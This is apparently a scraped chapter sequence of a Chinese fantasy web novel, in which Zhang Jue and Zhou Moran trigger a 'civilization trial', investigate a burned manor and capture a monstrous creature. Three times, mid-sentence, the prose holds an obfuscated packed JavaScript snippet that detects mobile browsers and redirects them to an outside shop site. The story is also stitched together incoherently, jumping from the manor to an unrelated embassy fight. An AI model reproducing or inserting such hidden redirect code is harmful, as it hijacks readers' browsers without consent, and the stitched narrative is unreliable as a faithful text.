周蓦然替章玦收拾床上的棉被床褥，边跟她唠：“我查三叉海蛇的事，查到一点野闻，你听不听？” 章玦握住东西，坐过来先等她说完。 周蓦然将查到的东西捋了捋，捡有用的说：“三叉是一种古语形态，就是包含海洋、陆地和冥想三种语言交汇的状态。 传闻古代深海的语言和陆地的语言是相通的，所以三叉海蛇能听懂一部分人类的话，与人类有来往。 有段历史时期，深海与陆地发生战争，深海占领了部分沿海国家，沿海国家的统治者就是深海王。 三叉海蛇就是在那个时候上岸，而且与人类贵族通婚。 之后陆地国家反扑，将深海人打回去，三叉海蛇与贵族的后代就被当作叛徒，实行海刑，驱逐回海底。 那些后代带走的也不是什么人类国王的头颅，而是一个古智者的头，因为它们相信，智者的脑袋里永久保存三叉语言。” 章玦想起自己梦中唱诵的深海王来自地底，加上她在海底见到的通天大门，她合理怀疑，那扇大门背后连接着一个地底国家。 周蓦然替她将枕头与被子叠放在睡袋上面，说：“这个世界无奇不有，别说有深海人，到了中大陆还能听见天空人。” 章玦一听有道理，人类从来只是星球居民之一，谁知道这颗星球分化出了多少智慧体。 “这都不是我们该操心的，最近国际形势很不好，听说联邦训练 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17021333|193904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出了一批S级的癖人，开始到处抢地盘。末日福音也是，这帮人只管杀不管埋，S级的癖人污染范围扩大，普通人更加没法活。我们还是尽快要回东龙国去。”周蓦然突然老成起来，话题又拉回东龙国。 章玦有心回去，问她：“你为什么非要回去？” “我家在那儿啊，我早年跟我爸出来，后来我爸死了，那我必须回去找我妈。再说外面多乱啊，在国内异能者待遇要好很多，我这个级别努努力也能是个专家。”周蓦然无限畅想。 “行，那就一块回。”章玦定了，这才伸出手，将鼹鼠的手机露出来，问她：“周专家，这玩意能解锁吗？” 周蓦然一翻开手机盖，指着三团火焰，“这是联邦的标志。这手机是联邦那边研发的，现在地面信号全靠天上两颗没废掉的卫星断断续续工作，再过一年卫星彻底报废，这个星球都将失联。联邦科技比较硬，在一些地方扩建地面站。但是这手机明显是二手的，一般人拿不到。” 章玦只关心它里面有价值的信息，说实话，她目前对各个阵营的看法就是——没看法。 周蓦然说能解，然后取出背包里的小型电脑，章玦看着她从耳背后面拉了一条线出来，插入电脑的特殊凹槽，屏幕自动亮了，然后无需手指敲打键盘，屏幕中弹出窗口，一行行开始写代码。 “方法不难，就是进入手机的加密模块，把密匙抹除掉就行。数据方面我尽量保留。” 隔行如隔山，章玦眼看三分钟后，手机上三团火焰加载到最旺，密码的空格自动填充，跳转进主屏幕。 主屏幕里只有一个搜索引擎似的app，点进去后又跳转至一个页面，页面名称是“猎验团”。 猎验团是完全陌生的名字，周蓦然也摇头说没听说过。 从页面信息来看，是个会员制的网页，鼹鼠只保留了最低级的权限，能查看部分公开资料，以及能和同样等级的会员聊天。 章玦根据兴趣来点开公开文档，比如标题起得很猎奇的《它是全球最特殊的阿贝贝之一，让无数科学家束手无策》。 读下来，章玦已大约猜到“猎验团”的性质相当于民科，而且是会抓癖人做实验的邪典民科。这篇文档里记载的就是捕捉到的一个特殊阿贝贝——一对伴侣。 伴侣互为阿贝贝与癖人，并且能够相互发送脑电波，两人声称交流是通过黑影里存在的介质。 对伴侣实施阿贝贝清洗手术，会发现它们的身体会分泌出大量互相牵引的丝线，丝线还会长大变成触手。所以目前这对情侣被猎验团保存在某个家里。 除了类似的档案之外，章玦更看重里面披露的关于“文明试炼开团”的消息。 猎验团声称在西大陆奥德山脉附近将进行文明试炼。 文明试炼是高等级癖人猎杀的幻境，同时对异能者开放，只要异能者有本事，就能攻占下试炼主人的家，并且回收癖人，用来跟联邦和末日福音交易。交易点在慕黑港口。 章玦终于弄清楚文明试炼的内容，也不怪“没病下来走两步”一听她要开启试炼，就吓得像个活人。她这种等级的家大门打开，迎接四方癖人，还真是分分钟被团灭。 不过，她不能开启，不代表她不能参加啊。 章玦查看开团时间，在十天后了，地点在利雅市。 周蓦然看章玦盯得久，试探：“玦姐，你不会想跟团吧？能开启试炼的人一定是榜一二的富豪。” “办法总比困难多，船到桥头自然直，这是我的人生理念。”章玦很乐观。 二人聊得饥肠辘辘，周蓦然环顾四周，起身问：“没厨房？” “没有，院子里打算砌个灶。”章玦很坦荡，领人下楼去架锅烧火。 周蓦然帮忙刨坑，章玦去挖红薯，挖着挖着，两人停手，周蓦然蹲着查看土地的根系，有点惊恐。 章玦拉起其中一根，一夕之间，所有根系都膨胀了数倍，而且黏连在一块儿，微微扯动，左边那株黑不溜秋、直愣愣的树枝就发颤。 早前埋下去的海螺藻和海蜗牛碎片杂糅一块，长出一株新的植物，上头结了紫红色小果子。章玦过去，手摸上果实，有倒刺感，折了一颗下来，立刻在掌心化成一团虚影。 然后腕表给了提示—— 【哇！是很稀有的文明遗产子弹，由于还没有人拥有，你可以给它起个名字哟！】 章玦愣了愣，在投影的字幕上写下问题—— 【这个子弹功能是什么？】 腕表—— 【文明遗产子弹归属于精神类子弹，功能是能够感知非人类生物的七情六欲。】 这种描述还是很模糊，章玦把握不准用途，便随便给它去了一个名字—— 【那就叫做“有情饮水饱子弹”。】 腕表—— 【已更新为“有情饮水饱子弹”。 有情饮水饱子弹：击中非人类生物，能够触达它们不被人类感知的情感，不具备杀伤力，但所蕴藏的潜力是无敌的。可惜，“有情饮水饱子弹”不是完整的，每颗果实只能发挥一次效用。】 章玦看着小树枝上唯二的果实，全薅了，总共获得两颗新子弹。 子弹自动消失，添加在腕表的武器库里。周蓦然第一次见徒手捏子弹，觉得新奇。 章玦笑眯眯说，还有比这更奇的——去钓野生癖人。 17. 文明试炼一阶技能 “美人鱼A级癖人，我们把它弄进来，这个家立马抬咖。”章玦作小猫洗头状，扒拉着翘起的头发，兴奋地跟周蓦然提出这个大胆的主意。 周蓦然竖起大拇指：“姐，是什么让你突然觉得自己又可以了？”她在两人之间来回比划，摆事实讲道理：“A级相当于精锐部队，小倩是B级，我是辅助，怎么打？” “难是难，不是完全没机会。”章玦分析利弊：“我研究过了，作为文明试炼和降临召唤的MC，开团的怪癖家主很依赖癖人的属性来制造幻境。全世界的海洋病友少之又少，利用海洋病友来开团，首先环境上就占据优势，陆地武器很多派不上用场。这是以小博大的买卖啊。” “行，你说干就干吧。”周蓦然没参过团更没开过团，但章玦想干她没异议。 “那行，这事宜早不宜迟。”章玦将烤熟的倭瓜掰一半递给周蓦然。 周蓦然哈赤哈赤咬着，问：“这么着急呢，打A级不得谨慎点？” “主要是再拖几天我们也就这样。”章玦两手一摊，表示该有的都有了，该没有的也都没有。 只周蓦然收拾了倭瓜后，回头看，章玦蹲在墙边跟一头硕大的黑猫对峙。黑猫盯着院子里的植物，馋得眼神发绿光。 周蓦然刚要开口，章玦嘘一声，静静盯着黑猫膨胀的脑袋，脑袋上面冒了点小白芽，黑色大土豆似的。 一点风吹草动，黑猫闪电掠过章玦头顶，目标是新冒出地面的大土豆。章玦伸手去拦，霎时左右手好像有了自己的意识，往上延伸。 黑猫动作太快，她瞬息伸长右手，金符爆裂出光芒，以虚影的方式在空中盘绕，笼罩下黑猫。 章玦脑子里闪过一幕幕彻夜磕修仙小说的场景，金纹随心所动，演化成十道金柱，嵌入土里，黑猫被禁锢其中。 这是文明试炼的小实验，也是章玦武力的一大进步，原来脱离家主手枪，她也能在一定范围内施展异能。 她喊周蓦然，整个空间只有自己的声音在回荡。周围安静得如同坐落某个深山老谷。 喵呜！ 章玦被猫叫声惹回神，黑猫在金柱内打滚，她掩住脸学神仙掐诀，念：“急急如律令！” 再看，黑猫瞪着圆溜溜的眼珠子与她对视，眼珠里有话要说。 “我……”它蹦出了第一个字，然后火燎般在地上打滚，折腾了半天才虚弱地站起来，不断呕吐毛球，毛球纠结成一团蠕动的□□。 就很离谱！章玦脑子第一个念头是这个。 “我只是想吃土豆，你装什么大兜逼，对我文明试炼！”毛球如是咆哮。 就非常离谱！章玦第二个念头，为自己辩驳：“有没有可能土豆也是我家的，你偷吃本来就不对呢？” 腕表从刚开始就疯狂震动，恨不得章玦也对它文明试炼一次，能开口说话。 空中扭曲文字大红高能提醒—— [你是我带过最不负责任的家长！你看看你干了什么好事，你把家干哪里来了？] 章玦已经感受到空气里的高压，举目眺望，一个巨大的空间入口正在撕裂。 一大片陆地，陆地上零零散散的试炼者好像等待入口完全开放。 章玦又懂了，她不知不觉开团了，开团之后凡所进入过文明试炼区的异能者或者癖人都会被传送到入口，选择进或者不进。 至于进来干什么？除了偷家，章玦也不知道哇。 文字旋转跳跃不停歇—— [趁入口没开，立马撤离！撤离！] “哦哦哦，你别慌文字，你慌我也慌。”章玦迅速点开腕表地图，假如不移动，她能有幸看一次开团后的盛景，后果可能是死。 假如移动，她只能等十天之后去别人的团里刷经验。 她是个贪心并且不怎么怕死的人，入口彻底敞开前，她叹口气，还是点了移动。 开团主理人跑了，场地就空了，但是“没病下来走两步”遛人这个行为势必要被挂上网。 章玦临时将家移动到码头边，融入在居民区不起眼的小角落。 毛球已经变不回去了，根据文明不可逆的规律，它进化出不错的智力。 “咳咳……你有五分钟时间问问题。” 章玦脱口而出：“你怎么定义你自己？黑猫呕吐物？毛球进化体？” 毛球蠕动着身体，声音来自猫的腹部，“文明试炼的第一阶能力是「启智」。你对我启智，时间是五分钟，哦，还剩四分二十秒。” 章玦继续第二个问题：“启智具体作用是什么？” “就是开发出短暂的超自然智力，你能利用这种智力来得到你解不开问题的答案，也可以用来加载你的智力，让你扩宽战局视野。”毛球滚了滚。 既然如此，章玦毫不犹豫问出：“黑影是什么？” “超纲了姐，你就一阶你还想一步登天？”毛球也有自己的脾气。 这个问题是上限，章玦调低限度，又问：“我要怎么不死？” 章玦在原来世界是个孤儿，生存在哪个世界都是头等大问题。 “你的这具身体再不进行试炼升级，很快就会被赐福污染。污染不意味着死亡，意味着你的灵魂要回归某个地方。” 章玦第一反应是摸头顶，没有长小白芽，她诚恳地向长过小白芽已经痊愈的猫咪请教：“我真被赐福了？” “是，不是所有赐福者都有显性特征，也有特殊情况。” “赐福污染会怎么样？”章玦比较关心后果。 “你会先经历空脑症和诡尸两个大难关吧。没有变异的情况下，就能继续进化，文明试炼和降临召唤是两套进化体系，你将要面临非常残酷的分裂痛苦。” 章玦心道，这副躯壳本来只有十个月寿命，十个月是不是指被完全赐福污染的时间？35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17054678|193904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 但就算倒计时在转，她急也没用啊，还是得往东方走。 毛球的光渐渐消弱，章玦搜肠刮肚一圈，发现自己问题很多，但临到问出口又觉得不重要，遂问了个目前最紧迫的。 “我想捕捉海里蛇人，有什么好办法？” 毛球蠕动的身体一顿，黑猫替它开口：“这种实操问题只能靠你自己。不过根据我流浪过几个街区的经验，可以给你提个醒，你去鱼摊能问出更多本地的消息。” “谢啦。”章玦揉揉猫脑袋，被它嫌弃的甩开。 毛球燃烧成灰，黑猫喵呜一声跃上墙头，还顺走了章玦的大土豆。 周蓦然下楼来，一脸错愕，她刚刚上阁楼，忽然意识就被抽离了。 “文明试炼没喊上我？”周蓦然不关心什么毛球，她的点在于她没有资格进入文明试炼区。 章玦上论坛搜文明试炼与启智，但搜索结果是不存在，说明这些问题都被屏蔽了。 取而代之是有人连发几条帖子向“没病下来走两步”和章玦邀战。 暴露是迟早的事，章玦邀周蓦然：“明天去鱼市。” 周蓦然原本第二天要出海就紧张，晚上躺床上，半宿翻来覆去。 底下小倩半夜精神，在楼里来回飘荡，唱唱念念，一开始以为它唱的是古曲儿，后来忍不住仔细听，是“一二三四五六七……” 一直数到六十，又循环往复，没完没了…… 说好的“婴儿般的睡眠”呢？！ 地上的章玦睡得老沉老沉，半点不受影响。 周蓦然盖住脑袋，自我催眠：我也可以的，要习惯这个家！ 第二天一大早，蓦然醒来之后就听见楼下是砍铡声。 院里，章玦正在砍院里的根茎，看见周蓦然，笑道：“你昨晚拉的灯很管用。” 院里拉了电线，装了一盏小灯泡，章玦终于不用摸黑起来看管植物。 地里的根膨胀出地面，振兴社给的种子收成超预期，地瓜个头有半个车头大，看得出来是变异了。 “地这么好，是不是得换些东西种？”周蓦然蹲在院门口，地上全是根系，连车下面都是，无从下脚。 “什么东西？”章玦总算把路清出来，否则车都出不去。 “药啊。”周蓦然兴致冲冲，“你知道外面药卖多贵，精神师都拿不到药，全被末日福音和联邦垄断了。我们种药，再找个精神师配出药方，卖给其他家，简直是一本万利。” “你这个主意很正。”章玦打开了新思路，她又想到正事，说：“我昨晚想了一宿，要抓美人鱼不能完全靠武力，得智取。” 她扫开车前窗的枝叶，说：“先破它阿贝贝，我们才好下手控制它。我准备喊上熊猫老师一块去，它对这片区熟悉，能带路。” 周蓦然抓重点：“你昨晚想了一宿？” “昂。”章玦脸不红心不跳。 18. 真谬会组织 章玦去请小倩出山，修养了三天，小倩精神特别足，摇着一把蒲扇子，有一搭没一搭地伸出红线。 章玦牵线立倒，周蓦然将她扛回楼上，再下楼，小倩正在穿运动鞋，回头和她说：“等会你开车，我这个指甲每次打方向盘都会挂到雨刷。” 周蓦然将车开到三公里外的鱼市场，一条小小的商业街，卖鱼和旅馆扎堆开在一块。 沿路章玦观察卖鱼佬，粗鲁的、精明的、生意好的全刷掉，最后找准一家年轻女人经营的小摊子。 周蓦然交了一袋子土豆，能换三条鱼，自然而然打起交道。“女士，打听个事。” 卖鱼的女人常年接触感染物，眼皮下边长了许多黑疣，面容青一块紫一块。 听见周蓦然喊女士，咧开黄牙笑道：“你就问吧。我知道的不多。” 章玦凑过来问她：“海妖和美人鱼的故事，你能知道多少？” “你是说可怜的丹普修女和孩子们？”鱼女恍惚了半阵，再度开口表情落寞，“它们的故事没什么人打听了。” 章玦一听，还真问对人了。 鱼女索性坐在光滑的石头上，整个人比摊上的死鱼更没活气。“我就是从温顿庄园逃出来的孩子。” “温顿庄园十年前出了一场大火，大家都逃了，只有丹普修女死在里面。” “既然都逃了，怎么全成了海妖？”章玦疑惑。 鱼女眼底儿涌动惋惜：“庄园里的孩子并不是全都能健康长大。温顿太太死后葬在庄园里，从那以后孩子们就接二连三的生病，夭折的人都被丢到海里，我想就是这样怨念不散，才变成海妖。” 章玦追问：“温顿太太变异了？” “我不知道。”鱼女摇头，“反正我记得，她死之后就接二连三死人，丹普修女也变得越来越暴躁。” “她以前是很好的人，很照顾我们，总是教我们要团结在一起，让强者帮助弱者。”鱼女低头搓她的指甲缝，“多亏了她，我从火里逃出来后，才能找到一份卖鱼的工作。” “你确定她死在火灾里？”章玦想起护犊子一样的蛇人，莫非就是丹普修女。 “我肯定。大家都看见她身上着火了。”她更加大力地搓手指缝，这种习惯让十根手指惨不忍睹。 章玦与周蓦然走出档口，章玦要走一趟温顿庄园。“打听清楚它的背景，我用清洗子弹打它时候，就更机会找出它破绽。” 温顿庄园在悬崖之上，沿悬崖到海边有一段特别陡峭的人工台阶，二人下了车步行上去。 爬到悬崖上，暖煦的海风猛烈吹袭，枯枝败叶在烧败的灰白建筑内飞旋，章玦纳闷盯着门口被风卷起，飞散的纸屑。 烧过的纸钱？独属于东龙国祭祀传统的东西怎么会出现在这里？ 周蓦然走过去，从土里拔出两根燃尽的蜡烛，“最近没下雨，上边都是尘，应该有个把星期。没想到这儿也能有老乡。” “温顿庄园里收了东龙国的孩子吧？”章玦猜测，或许是当年逃出来的人又回来祭拜亡灵。“进去看看。” 庄园是开放式的，没起火之前外围是普通的矮房，往里是庄稼地，再往里才是主楼。 主楼有莫沙城特色金属尖塔顶，底下一律高耸的黑色岩石墙壁。 火灾痕迹严重，加之建筑风格压抑，每个角落都渗出死亡的寒意。 章玦与周蓦然先查看矮房，除了工具或者磨坊房，大概就是宿舍，从散落的行李可以看出，住的大多数是孩子。 “假如海妖都是病死的孩子变的，那就和逃离火场的孩子没什么关系吧？”周蓦然揣测，“我们是不是该找找病死孩子的遗物？” “那太难找了。”章玦否了这个意见，往主楼走。 主楼烧毁程度最严重，没有任何完整的物品可以推导出海妖或者蛇女偏执的线索。 章玦让周蓦然在楼下等，小倩的体量轻，一路往上查看，她只看出两间房比较古怪。 其中一间在起火时应该是房门紧闭，所以锁融化后仍旧牢牢地黏在门把上。 章玦步入房内，从床架和金属镜框推测，居住的人是个生活品质很不错的女主人，大概率就是温顿太太。 章玦一通搜寻，找到几把没完全烧融的铜勺，勺子柄刻有三眼交叠的图案，三眼图形与三叉海蛇庙宇内图案有些许相似。 勺子是婴儿用品，看得出温顿太太很喜欢孩子。 章玦步入另外一间，一踏进房间便见到非常标志性的东龙国物件，一把刻着东龙文的菜刀、金属戒尺、笔盒，还有陶瓷镜子。 从烧毁的两张床看得出，房间不只一个人住，很可能是母女。 一个由温顿太太操持的庄园，在她死之后就是丹普修女在主持，或者丹普修女是个东龙人，而且自己带了孩子一块住？ 这倒是个有趣的推理，蛇女生前是东龙人，她好像捡到老乡的概率特别高， 章玦下楼，由于小倩喜阴，她专挑暗处走，走着走着便觉出奇怪，这栋楼里的菌菇比别处要多，白色黏腻的菌丝爬满阴暗的墙壁。 海妖的本体也是巨大的菌菇，这儿也是，或许这里是海妖最初变异和蔓延感染的地方。 鱼女说孩子是在温顿死之后才接连暴毙，被投入海中。但莫沙城极其重视海域，丧葬习俗是火化，为什么全送入海底？ 再者，温顿太太病死之后葬在庄园内，可是走遍庄园也没有见到一个像样的墓碑。 会不会丹普修女将感染而死的温顿太太投入海里，其余孩子陆续被感染才也被投入海中。 大火会不会是为了掩饰真相而放？丹普修女想挽救剩余的孩子，不得不用此方法驱散他们？ 章玦用长长指甲刮开菌丝，巨大墙壁上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17054679|193904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 露出三眼交叠的壁画。 三眼交叠图腾似乎寓意着庄园归属某种组织。章玦干脆将整面墙清理出来，巨大的三眼悬在面前，盯得久，莫名无底的恐惧悄然蔓延上身。 章玦的意识像被攫取，被吸入黑暗无垠的宇宙。 “玦姐！”周蓦然在下边大声呼喊，过一分钟，也跑上来。 章玦神识被她拉回。周蓦然立在墙边，问她干什么。 章玦回看墙面，三眼交叠的图腾仍然在，只是比之刚才，只有巴掌大小。她心中一惊，刚刚看见的莫名巨大存在是真实的吗？ 周蓦然念着墙上斑驳的字：“三眼分别是光明之眼、恐惧之眼和艾布之眼，是真谬会的标志。” “当时在三叉海蛇那里也有真谬测试，是不是同一个东西？”周蓦然好奇。 从鱼女的年纪上推测，庄园至少毁了二十年，这个真谬会也该是二十年前的组织，现在到处不见踪迹，有可能是解散了。 周蓦然注意力被墙面吸引，往前踏去，噼啪脆响，章玦下意识去拉她。 小倩的身体轻所以站在烧毁的楼板上没有承重问题，可是周蓦然不同，刚刚忘了这茬，这下子年久失修的楼板迅速塌陷，周蓦然从洞里咻地溜下去，抓也抓不住。 章玦也往前跌，按在墙上，小倩的手臂浮现属于章玦手臂的纹路，一堆像乱码的文字，与墙壁三眼恰好压在一块。 空间转瞬扭曲，熊熊烈焰从楼下窜起。章玦朝下喊周蓦然，除了火烧木头发出的噼里啪啦再无声音。 火势从下往上，章玦只能往上爬，到顶楼推进温顿太太的房间。 房内家具东倒西歪，样式与成品与之前看到新净许多。章玦检查窗外，窗户被锁死，按道理小倩的力道砸开十扇不成问题，可是无论章玦击打多久，窗户纹丝不动。 她返身检查屋内，浓烟钻入门内，目之所及东西开始融化，体内小倩躁动，叫道：“别又是要死了。” “天官赐福百无禁忌。”章玦安抚她，准备往上继续突破，通过屋顶小窗到外面去。 墙上的画像朦胧不清，部分已被烧化，从站位看，是十几个成人的合照。章玦心思一动，抢上前将画像取下来，虽然烧了一部分，还有部分人的名字未被毁掉。 章玦左右顾盼，唯一能垫脚的只有桌子，她打算搬到天窗下，刚一走动，屋内滑过一抹影子，她警觉停下。 这个屋里除了她，还有其他人？ 腕表发出滋啦滋啦电流声，章玦回头，房门紧闭如故，兴许是自己多心吧。 她搬动桌子，四脚离地，发现这桌子可真沉，底下像坠着个什么重物。 搬了一半，她不得不停下歇息，短短几步路，越发觉得桌子死沉死沉。 “我是鬼诶，鬼还能怕鬼？”她给自己做心理建设，然后深呼吸，俯下头，往桌子底下探过去。 19. 待修 俯身到一半，章玦顿觉不妙，周围温度高得吓人，再看房内，从刚刚开始，黑暗中就潜伏着更暗的影子，反而衬得整个环境微微透出红光。 紧跟着红光越来越炽盛。章玦察觉到桌子是活的。 她拔腿往门口冲，刚转身，后胳膊被一个炽热的手臂勾住，初初感觉是半只手掌，属于人类。 再回头，桌子不是桌子，是一匹木马，顶上坐着一个白花花脸蛋的小孩哥。 可这绝不是小孩，没有哪一个小孩会满脸皱纹还秃顶，也不会有哪个小孩会用一双倒钩眼看人，阴气逼人。 这是小癖人？ 没人说过小癖人能骑大木马啊。 木马腾地竖起前掌，猛地朝章玦头顶踩踏，章玦翻个身，得益于小倩体操运动员般灵活的体质，非常丝滑地躲开了。 小癖人哟呼怪叫，木马蹄子掉转头，又朝着章玦奔过来。 章玦以为它又要表演马技，临到跟前，小癖人又是哟嚯一声呼啸，木马从中间劈开，就像积木突然拆除零部件，又重新组装，中间塞了一门大炮。 实打实的大炮，炮口对准章玦。也没人说过癖人还能碳基与非碳基结合着进化啊。章玦登时汗就下来。 躲闪的空间有限，炮火轰地往她脸门前开花！ 一片木屑乱飞，章玦从墙上跃下来又躲过一炮。 章玦缩到它后头，毫不犹豫就是一梭子清洗子弹。 打中了！ 章玦确认子弹射入小癖人的脑后勺，可瞬息间，这人与马分裂出六个更小的人。这些小人又分别骑着小木马，脸是老脸，身上穿着小红裙，纽扣式眼珠子麻木地盯着她。 章玦心道：还好，分开了威胁也减少了。 对方猜透她的想法，每只木马快速跑动起来，与她绕圈圈，边绕还边唱“猜猜我是谁？妈妈告诉我，猜中今晚吃鸡腿，猜不中要吃谁的腿呢？先吃妹妹的腿，再吃姐姐的腿，最后轮到我……” 一圈圈，魔音绕耳，红裙子转开了花，章玦踌躇之际，小腿部位忽然一热，什么时候被子弹擦过，她全然未知。 即便拥有天书这种强势子弹，但必须打中癖人才能触发效果，这种情况下，很难瞄准。 嘭！ 章玦还是开枪了，清洗子弹在墙上的一团污迹上旋转，撬开一个口子。 所有小癖人停下了转圈，满脸惊恐地盯住那个不该存在的口子，齐声叫嚣，统一合并成一门红色的大炮，开始无差别乱轰炸。 章玦眼疾脚快，飘飘鞋使劲，贴到污迹下方去。炮火无情，可硝烟不会燃烧到这儿来。 这块污迹委实突兀，而霍瑟又说了，外使馆的癖人都是由未曾撤离的官员被污染而成。什么官员最后才会撤离，大概率是驻守的军官，而这些人统一守护的无非是联邦的荣誉。 荣誉可以是虚的，阿贝贝却必须是实在的物品，章玦关注到污迹时，便开始觉得它很不对劲。能被展示的荣誉与墙上莫名的污迹之间的关系，一经联想就会有答案。 只是章玦第一次看到污染的癖人有外挂的阿贝贝。她上手将英雄勋章上的污迹全砸下来，英雄勋章只剩一个角，其他部分徒留一个钉子印。 原来将阿贝贝分割，就能为污染的癖人制造一个外挂的阿贝贝。这个发现刷新了章玦的认知——假如她也将癖人的阿贝贝分割呢，会养出一群小号病友吗？ 至少这是一条管理院区小班病友的思路。 章玦将英雄勋章抠下来，腕表通讯恢复正常—— 【解构英雄子弹：解构一个英雄，你会得到很多个小英雄，精神污染会传承。清洗子弹打中自己的癖人，会制造出不同效果的多种污染物。虽然攻击力没有原主高，但是有时候分开也是一件好事。】 章玦呜呼一声，这趟没白跑，这个子弹使用场景可以有很多，配合眼前的解构癖人食用，效果倍增。 “周蓦然，进来支援。” “姐，我早在二楼埋伏了，就是下不去一楼，现在路通了。你等我。”周蓦然的声音在楼上响起，紧跟着天花板开出一个大洞，周蓦然从洞里喊话：“玦姐，捂住耳朵。” 章玦立刻捂紧双耳，癖人陷入旋转癫狂状态，身体不断切割又重组，直到洞□□下一道光障，高频干扰器摧毁它仅剩的生物属性，它变成一个只会自转的大炮。 周蓦然跃下来，精准将微型□□埋入它的结构内，这个癖人像颗恒星，内部聚变燃烧，当燃料耗尽，它也彻底烧成一块块零件。 整个外使馆除了墙角，全炸塌了，章玦从瓦砾里扒拉出这些零件。周蓦然瞧着黑乎乎的零件，瘆得慌：“这些东西你还要呢？” 章玦擦掉眼睫毛上的尘，嘴巴里全是沙子，干巴巴说：“或许还能用。” 她切换文明向导身份，手执笔与病历本，试图翻开新一页登记。 【编号：0005 姓名：牛头马面 户籍：东龙国 阿贝贝：英雄勋章 文明程度：四等 攻击力：B 科属：夜行科 简介：没有理智的地府保安，分身术是它的优点，必要时候帮助园长收割灵魂属性的癖人。】 她再想往下自由发挥，发现病历本下半部分无论如何也写不上字，模糊的“纸面”就像被打了马赛克。 看来凡觉-记录者的能力只能写一些基础信息，章玦还算满意，笑道：“总算收了一位病友，回去再唤回点人性，估计还能活。” 这堆零件渐渐在地上弥合，面部结合牛马的形态，成了一个半米长的木偶。 周蓦然第一次看癖人能被收服，还有点稀奇，听章玦说：“这下子好了，小倩晚上开嗓子这件事有救了，牛头马面能和它玩通宵。” 周蓦然瞬间挺直了背，怪癖学园果然一点都不安全。 章玦让周蓦然去切割光纤网线，她自己背着木偶回车上。 周蓦然回来时，除了网线，还抱着一个小型的保险箱，上了车安全带都没系，就急着解锁。 章玦看她手头功夫仔细，解锁不过半分钟，保险箱就开了，贵重物品肯定早就转移了，里面有的也就是一堆陈年废了的资料。 文件大多数是拉丁文，周蓦然翻得很仔细，章玦认为她在找什么东西。但这是人家私事，她也不过问。 周蓦然停了手，表情失落，章玦开着车，听她咕隆了几口气之后，开口说：“这些是联邦抓捕癖人的资料。” “嗯。”章玦不觉得奇怪。 “联邦一直在贩卖癖人，等于把一个病友从怪癖学园A转移到怪癖学园B。在这个年代，贩卖癖人相当于贩卖军火武器。” 章玦听此才微微抬眉，联邦似乎对污染全世界乐见其成。 “转卖的癖人里有我的发小。”周蓦然拔高音量，控诉道：“其实她的文明程度很高，比青蛇还高，她也没什么攻击性，不是所有癖人都想杀害人类，都想污染其他人。” 章玦眼内又微微一亮，“所以你才入职怪癖学园，想找你发小？” “一部分原因吧。我答应了她父母尽力找，实在找不到也没办法。主要还是外面太危险了，而我想回家。”周蓦然谈及伤心事，一脸坦然。 家吗？章玦就没有，但周蓦然有，就一定想回去吧。 “你家在东龙国？” 周蓦然点头：“我就出国留个学，谁想到……” 章玦颔首：“那就回去啊。一块回。” 周蓦然灿然一笑：“我果然猜到了，园长你也是东龙国的人，也想让怪癖学园回归祖国。” 章玦咧了咧嘴，道：“我没想那么多，就是不回去能要我的命。” 她醒来脑子里就有个声音，让她必须在寿命结束前回到东龙国。其实真要死在半路，她也没话说，毕竟这十个月能吃能跑，是她做梦都不敢想的。 “联邦贩卖的癖人有一条渠道吧？”章玦话题偏到其他地方。 周蓦然摇头：“这我不知道。有也不是我们能接触到的。” 章玦沉吟，假如联邦有渠道，打劫渠道收获一批阿贝贝也是许多人的想法。 再次启程，时间过了一大半，章玦与周蓦然直奔油田中控大楼。目前各国能源储备都很紧张，陆上油田没有停止作业，海上油田是因为海里有东西，被迫停工，久而久之，这处不起眼的港口失去了所有政治和经济价值。 这次周蓦然请缨打头阵，她自己背着炸药包和大剪子进中控大楼，章玦在外面接应。 幸好这处地方离市区远，没有残留的污染物，周蓦然进进出出好几次，用从保安室顺来的拖车将接入器、激光通信的设备还有两台电脑，移动电池等。 周蓦然原以为装不下，舍不得这个那个，章玦点了点东西，拉开后备箱，黑洞似的大空间看不到头。 章玦读过面包车的使用说明书，这也是第一次看到移动的无限空间，震惊不比周蓦然小。 周蓦然返身又拉着拖车进大楼，几乎要将人家设备搬空。章玦后来又进去一趟，取了好些生活用品。 怪癖学园的等级太低，病友的生活环境急需改善。 回去必须经过市区，章玦边查导航边慢慢踩刹车，前面的爆炸一轮轰炸完又一轮，整个地面都在颤。 周蓦然刚收获了倍数极高的望远镜，伸出车头朝远看，报道战绩：“玦姐，那个霍瑟和人打得不知天地为何物。” 章玦问：“他是快死还是快赢了？” 周蓦然：“身上没啥伤，但暂时也赢不了。献祭社好几个人围殴他。” “那就是狗咬狗，没空理我们。”章玦安心的开车，尽量选从巷子过去。 